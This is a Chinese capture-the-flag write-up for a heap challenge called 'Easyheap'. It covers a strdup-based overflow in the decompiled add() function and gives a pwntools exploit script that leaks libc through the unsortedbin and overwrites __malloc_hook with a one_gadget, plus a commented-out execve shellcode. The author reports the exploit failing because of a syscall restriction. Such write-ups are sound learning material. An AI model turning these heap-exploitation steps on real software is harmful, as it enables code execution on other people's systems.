先看一个函数 strdup()
char *strdup(char *s);
{
size_t len = strlen(s) +1;
void *new = malloc(len); #长度固定为 len(参数)+1
if (new == NULL)
return NULL;
return (char *)memecpy(new,s,len);
}
头文件:string.h
功能: 将字符串拷贝到新建的位置处
说 明:strdup()在内部调用malloc()为变量分配内存
返回值:返回一个指针,指向为复制字符串分配的空间;如果分配空间失败,则返回NULL值。
checksec:
保护全开,Full Relro 要泄露 libc
ADD函数存在溢出
unsigned __int64 add()
{
char *v0; // rax
size_t nbytes; // [rsp+4h] [rbp-101Ch]
int v3; // [rsp+Ch] [rbp-1014h]
char buf; // [rsp+10h] [rbp-1010h]
unsigned __int64 v5; // [rsp+1018h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&buf, 0, 0x1000uLL);
for ( HIDWORD(nbytes) = 0; HIDWORD(nbytes) <= 9; ++HIDWORD(nbytes) ) # chunk_tables
{
if ( !qword_202060[HIDWORD(nbytes)] )
{
v3 = HIDWORD(nbytes);
break;
}
}
if ( HIDWORD(nbytes) == 11 )
{
puts("wrong");
exit(0);
}
puts("Size: ");
__isoc99_scanf("%d", &nbytes);
if ( (unsigned int)nbytes > 0x500 )
LODWORD(nbytes) = 1280; #size_max
puts("Content: ");
read(0, &buf, (unsigned int)nbytes);
v0 = strdup(&buf); #最大size为 len(&buf)+1,存在溢出
qword_202060[v3] = v0;
dword_2020C0[v3] = nbytes;
return __readfsqword(0x28u) ^ v5;
}
思路:
tcache最大存 0x408 的 chunk ,利用溢出,通过 unsortedbin 泄露 libc ,再劫持 __malloc(free)_hook ,写入 shellcode 或者 one_gadget。
exp:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
#p=remote('node4.buuoj.cn',28721)
p = process("./Easyheap")
libc = ELF('./libc-2.27.so')
elf= ELF('./Easyheap')
context.log_level='debug'
def add(size,payload):
p.recvuntil('>> :\n')
p.sendline('1')
#p.recvuntil('Size: \n')
p.sendline(str(size))
#p.recvuntil('Content: \n')
p.sendline(str(payload))
def edit(idx,payload):
p.recvuntil('>> :\n')
p.sendline('4')
#p.recvuntil('Index:\n')
p.sendline(str(idx))
#p.recvuntil('Content:\n ')
p.sendline(str(payload))
def free(idx):
p.recvuntil('>> :\n')
p.sendline('2')
#p.recvuntil('Index:\n')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('>> :\n')
p.sendline('3')
#p.recvuntil('Index:\n')
p.sendline(str(idx))
#p.recvuntil('Content: ')
p.recvline()
add(0x500,'a'*0x10)#0
add(0x500,'b'*0x2f0)#1
add(0x500,'c'*0x2f0)#2
add(0x500,'d'*0x10)#3
add(0x500,'e'*0x10)#4
add(0x500,'f'*0x10)#5
#gdb.attach(p)
payload = 'a'*0x18+p64(0x601)
edit(0,payload)
#gdb.attach(p)
free(1)
#gdb.attach(p)
add(0x500,'d'*0x2f0)
#gdb.attach(p)
dump(2)
leak_addr = u64(p.recvline()[9:15].ljust(8,'\x00'))
print('leak_addr:',hex(leak_addr))
offset=0x3ebca0
libc_base = leak_addr - offset
print('libc_base:',hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print('malloc_hook:',hex(malloc_hook))
free_hook = libc_base + libc.sym['__free_hook']
print('free_hook:',hex(free_hook))
free(4)
edit(3,'t'*0x18+p64(0x21)+p64(malloc_hook))
#gdb.attach(p)
add(0x500,'h'*0x10)
one_gadget=libc_base + 0x10a41c
print('one_gadget:',hex(one_gadget))
shellcode=asm(shellcraft.sh())
#shellcode='\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34'
print(len(shellcode))
#add(0x500,str(shellcode))
add(0x500,p64(one_gadget))
#gdb.attach(p)
add(0x10,'a')
p.interactive()
这题埋个种子,shellcode写不进去,写字符串却没问题,还请师傅们指点。
one_gadget都用不成。
下次再来做这题
破案了,当时没注意到
这里有限制系统调用
重新尝试编写 shellcode,但是依然写不进去,还是我太菜了